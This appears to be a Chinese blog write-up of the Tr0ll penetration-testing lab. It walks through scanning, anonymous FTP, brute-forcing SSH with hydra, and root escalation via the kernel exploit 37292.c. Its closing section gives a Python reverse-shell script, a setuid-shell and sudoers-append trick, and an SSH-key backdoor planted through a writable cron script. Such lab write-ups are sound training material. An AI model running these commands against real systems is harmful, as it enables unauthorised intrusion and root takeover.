Loading...

文章背景图

百个渗透靶场-4-Tr0ll

2025-09-19
8
-
- 分钟
|

杂项分析居多,ftp匿名登录,hydra破解时密码有点毛病,file xxx枚举文件类型,Linux 4-Tr0ll 3.13.0提权

一.信息收集

先扫描一下ip和端口信息

└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:bc:5c:d2, IPv4: 192.168.32.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.32.1    00:50:56:c0:00:08       VMware, Inc.
192.168.32.2    00:50:56:f1:d7:4e       VMware, Inc.
192.168.32.147  00:0c:29:23:61:86       VMware, Inc.
192.168.32.254  00:50:56:ff:3d:8c       VMware, Inc.
└─# nmap -sS -p- 192.168.32.147
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-16 09:13 CST
Nmap scan report for localhost (192.168.32.147)
Host is up (0.0015s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

image-20250916091512418

扫描一下目录,扫到一个robots.txt

image-20250916091613199

image-20250916091618815

随波逐流分析没信息

image-20250916092557096

尝试ftp匿名登录

账号密码:
Anonymous
​

image-20250916093017281

登陆ftp,查看有用的信息,ftp基础知识

dir  执行以上命令,可以查看 ftp服务器当前目录下的文件。
get  下载文件

发现有个数据包,用wireshark打开

image-20250916093149387

wireshark对流量界面右键->追踪流量->TCP流量! 获得tcp.stream eq 1和tcp.stream eq 2等信息: tcp.stream eq 1:第一个流显示了一个文件secret_stuff.txt tcp.stream eq 2:sup3rs3cr3tdirlol

发现提示:FTP Data …secret_stuff.txt

打开看一下具体内容,在最下一排显示:

好吧,好吧,好吧,你不是一个聪明的小恶魔吗,你差点找到Sup3rs3cr3tdirlol:-P\n

糟透了,你离得太近了。。。我要更努力\N

image-20250916094042968

把Sup3rs3cr3tdirol拼接到url后发现目录遍历,里面有个文件

image-20250916094800055

file roflmao ---枚举是32位的ELF 二进制文件

image-20250916095001479

使用strings(识别动态库版本指令)查看文件底层内容。

image-20250916095119468

Find address 0x0856BF to proceed

拼接url查看,发现有两个文件夹

image-20250916095206206

下面的是密码,猜测上面的应该是用户名了

image-20250916095223085

image-20250916095238672

用hydra破解ssh密码

hydra -L users.txt -p Psss.txt 192.168.32.147 ssh

image-20250916100453899

哪个神经想的密码是Pass.txt

二.ssh登录

ssh overflow@192.168.32.147
$ uname -a
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux
$ id
uid=1002(overflow) gid=1002(overflow) groups=1002(overflow)

搜索版本漏洞 searchsploit Linux 4-Tr0ll 3.13.0,有两个符合的

image-20250916101224265

三.内核提权

利用37292.c

cp /usr/share/exploitdb/exploits/linux//local/37292.c ~/temp
python -m http.server 8081
​
cd /tmp
wget http://192.168.32.129:8081/37292.c
chmod 777 37292.c
gcc 37292.c -o winlians
./winlians

image-20250916102123075

cd /root
cat proof.txt
Good job, you did it! 
702a8c18d29c6f3ca0d99ef5712bfbdc

扩展思路

在做的过程中,连接上了,但是时不时会自动退出来

它会自动结束ssh进程,而且还是整点提示!说明有计划任务在自动到点结束进程。每5分钟就被踢一次!

find / -name cronlog 2>/dev/null ---查看计划任务日志信息 find / -name cleaner.py 2>/dev/null ---查看文件在哪儿 find / -writable 2>/dev/null ---枚举所有可写入权限的文件 find / -perm -o+w -type f 2> /dev/null | grep /proc -v ---枚举 /lib/log/cleaner.py

知道了计划任务和py脚本可写入,以及py的位置后,那么方法千万种,接下来演示三种: 1)反弹shell 2)创建root可执行程序,获得root权限 3)写入ssh rsa,ssh登录root用户

nano使用教程:

ctrl x | y

1)反弹shell nc -tvlp 9999

#!/usr/bin/python def con(): import socket, time,pty, os host='10.211.55.19' port=9999 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.settimeout(10) s.connect((host,port)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("/bin/bash") s.close() con()


2)创建root可执行程序,获得root权限

os.system('cp /bin/sh /tmp/dayu1') os.system('chmod u+s /tmp/dayu1')

或者编辑脚本以将用户溢出添加到sudoers文件中可以sudo su到root用户: os.system('echo "overflow ALL=(ALL) ALL" >> /etc/sudoers')

cd /tmp ls ./sh cd /root ls

cat proof.txt

3)写入ssh rsa,ssh登录root用户 ssh-keygen ---都空格回车 cd ~/.ssh cat id_rsa.pub mkdir /root/.ssh; chmod 775 .ssh; echo "加上 id_rsa.pub产生的密匙内容上图有例子" >> /root/.ssh/authorized_keys

评论交流

文章目录